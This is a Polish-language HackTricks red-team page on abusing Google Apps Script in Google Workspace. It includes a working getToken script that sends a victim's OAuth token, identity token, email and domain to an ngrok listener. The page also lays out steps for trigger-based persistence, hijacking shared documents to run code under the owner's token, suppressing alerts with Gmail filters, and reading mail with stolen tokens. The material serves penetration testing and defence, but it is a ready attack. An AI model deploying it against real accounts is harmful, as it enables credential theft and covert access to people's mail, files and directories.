GWS - App Scripts

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Skrypty aplikacji

Skrypty aplikacji to kod, który zostanie uruchomiony, gdy użytkownik z uprawnieniami edytora uzyska dostęp do dokumentu, z którym skrypt aplikacji jest powiązany i po zaakceptowaniu monitu OAuth. Mogą one również być ustawione do wykonywania się co jakiś czas przez właściciela skryptu aplikacji (Persistencja).

Tworzenie skryptu aplikacji

Istnieje kilka sposobów tworzenia skryptu aplikacji, chociaż najczęstsze to z dokumentu Google (dowolnego typu) oraz jako samodzielny projekt:

Utwórz projekt powiązany z kontenerem z dokumentów Google Docs, Sheets lub Slides
  1. Otwórz dokument Docs, arkusz Sheets lub prezentację Slides.

  2. Kliknij Rozszerzenia > Skrypty Google Apps.

  3. W edytorze skryptów kliknij Bez tytułu.

  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.

Utwórz samodzielny projekt

Aby utworzyć samodzielny projekt z Apps Script:

  1. Przejdź do script.google.com.

  2. Kliknij Nowy projekt.

  3. W edytorze skryptów kliknij Bez tytułu.

  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.

Utwórz samodzielny projekt z Google Drive
  1. Otwórz Google Drive.

  2. Kliknij Nowy > Więcej > Skrypty Google Apps.

Utwórz projekt powiązany z kontenerem z Google Forms
  1. Otwórz formularz w Google Forms.

  2. Kliknij Więcej more_vert > Edytor skryptów.

  3. W edytorze skryptów kliknij Bez tytułu.

  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.

Utwórz samodzielny projekt, korzystając z narzędzia wiersza poleceń clasp

clasp to narzędzie wiersza poleceń, które pozwala tworzyć, pobierać/wysyłać i wdrażać projekty Apps Script z terminala.

Zobacz Przewodnik po interfejsie wiersza poleceń za pomocą clasp dla więcej szczegółów.

Scenariusz skryptu aplikacji

Utwórz arkusz Google z skryptem aplikacji

Zacznij od utworzenia skryptu aplikacji, moja rekomendacja dla tego scenariusza to utworzenie arkusza Google i przejdź do Rozszerzenia > Skrypty aplikacji, co spowoduje otwarcie nowego skryptu aplikacji powiązanego z arkuszem.

Wyciek tokena

Aby udostępnić dostęp do tokenu OAuth, musisz kliknąć Usługi + i dodać zakresy takie jak:

  • AdminDirectory: Dostęp do użytkowników i grup katalogu (jeśli użytkownik ma wystarczające uprawnienia)

  • Gmail: Dostęp do danych Gmail

  • Drive: Dostęp do danych dysku

  • Google Sheets API: Aby działał z wyzwalaczem

Aby samodzielnie zmienić potrzebne zakresy, możesz przejść do ustawień projektu i włączyć: Pokaż plik manifestu "appsscript.json" w edytorze.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Aby przechwycić żądanie, wystarczy uruchomić:

ngrok tcp 4444
nc -lv 4444 #macOS

Uprawnienia żądane do wykonania skryptu aplikacji:

Wraz z zewnętrznym żądaniem, monit OAuth poprosi również o zgodę na dotarcie do zewnętrznych punktów końcowych.

Tworzenie wyzwalacza

Po wczytaniu aplikacji, kliknij ⏰ Wyzwalacze, aby utworzyć wyzwalacz. Jako funkcję wybierz getToken, uruchamianą podczas wdrożenia Head, w źródle zdarzenia wybierz Z arkusza kalkulacyjnego, a typ zdarzenia wybierz Przy otwarciu lub Przy edycji (zgodnie z potrzebami) i zapisz.

Zauważ, że możesz sprawdzić uruchomienia skryptów aplikacji w karcie Wykonania, jeśli chcesz coś debugować.

Udostępnianie

Aby uruchomić skrypt aplikacji, ofiara musi połączyć się z dostępem Edytora.

Token używany do wykonania skryptu aplikacji będzie tym twórcy wyzwalacza, nawet jeśli plik jest otwarty jako Edytor przez innych użytkowników.

Nadużywanie dokumentów udostępnionych w folderze "Udostępnione z innymi"

Jeśli ktoś udostępnił ci dokument z skryptami aplikacji i wyzwalaczem korzystając z opcji Head skryptu aplikacji (a nie z wdrożeniem stałym), możesz zmodyfikować kod skryptu aplikacji (dodając na przykład funkcje kradzieży tokenów), uzyskać do niego dostęp, a skrypt aplikacji zostanie wykonany z uprawnieniami użytkownika, który udostępnił dokument tobie! (zauważ, że token OAuth właściciela będzie miał zakresy dostępu określone podczas tworzenia wyzwalacza).

Powiadomienie zostanie wysłane do twórcy skryptu wskazujące, że ktoś zmodyfikował skrypt (A co powiesz na wykorzystanie uprawnień gmail do generowania filtru w celu zapobieżenia alertowi?)

Jeśli atakujący zmodyfikuje zakresy skryptu aplikacji, aktualizacje nie zostaną zastosowane do dokumentu, dopóki nie zostanie utworzony nowy wyzwalacz z wprowadzonymi zmianami. Dlatego atakujący nie będzie mógł ukraść tokenu twórcy z większymi zakresami niż te, które ustawił w utworzonym przez siebie wyzwalaczu.

Kopiowanie zamiast udostępniania

Podczas tworzenia linku do udostępnienia dokumentu tworzony jest link podobny do tego: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Jeśli zmienisz końcówkę "/edit" na "/copy", zamiast uzyskać do niego dostęp, Google zapyta, czy chcesz wygenerować kopię dokumentu:

Jeśli użytkownik utworzy kopię i uzyska do niej dostęp, zawartość dokumentu i skrypty aplikacji zostaną skopiowane, jednak wyzwalacze nie, dlatego nic nie zostanie wykonane.

Udostępnianie jako aplikacja internetowa

Zauważ, że możliwe jest również udostępnienie skryptu aplikacji jako aplikacji internetowej (w Edytorze skryptu aplikacji, wdroż jako aplikację internetową), ale pojawi się taki alert:

Następnie pojawi się typowy monit OAuth pytający o wymagane uprawnienia.

Testowanie

Możesz przetestować zebrany token, aby wyświetlić maile za pomocą:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lista kalendarza użytkownika:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Skrypt aplikacji jako trwałość

Jedną z opcji trwałości byłoby utworzenie dokumentu i dodanie wyzwalacza dla funkcji getToken oraz udostępnienie dokumentu atakującemu, aby za każdym razem, gdy atakujący otworzy plik, wyciekł token ofiary.

Możliwe jest również utworzenie skryptu aplikacji i ustawienie wyzwalacza co X czasu (na przykład co minutę, godzinę, dzień...). Atakujący, który skompromitował dane uwierzytelniające lub sesję ofiary, mógłby ustawić wyzwalacz czasowy skryptu aplikacji i ujawnić bardzo uprzywilejowany token OAuth codziennie:

Po prostu utwórz skrypt aplikacji, przejdź do Wyzwalaczy, kliknij Dodaj wyzwalacz i wybierz jako źródło zdarzenia Wyzwalany czasem, a następnie wybierz opcje, które najlepiej Ci odpowiadają:

Spowoduje to wysłanie alertu bezpieczeństwa e-mailem i powiadomienie push na Twój telefon o tym.

Ominięcie niezweryfikowanego monitu o udostępnionym dokumencie

Co więcej, jeśli ktoś udostępnił Ci dokument z uprawnieniami edytora, możesz generować skrypty aplikacji wewnątrz dokumentu, a WŁAŚCICIEL (twórca) dokumentu będzie właścicielem skryptu aplikacji.

Oznacza to, że twórca dokumentu będzie widoczny jako twórca dowolnego skryptu aplikacji, który ktokolwiek z uprawnieniami edytora utworzy wewnątrz niego.

Oznacza to również, że skrypt aplikacji będzie zaufany przez środowisko Workspace twórcy dokumentu.

Oznacza to również, że jeśli skrypt aplikacji już istniał i ludzie udzielili dostępu, każdy z uprawnieniami Edytora w dokumencie może go zmodyfikować i nadużyć tego dostępu. Aby to wykorzystać, potrzebujesz również, aby ludzie wywołali skrypt aplikacji. I jednym z fajnych trików jest opublikowanie skryptu jako aplikacji internetowej. Gdy ludzie, którzy już udzielili dostępu do skryptu aplikacji, wejdą na stronę internetową, wywołają skrypt aplikacji (to również działa za pomocą tagów <img>).

Last updated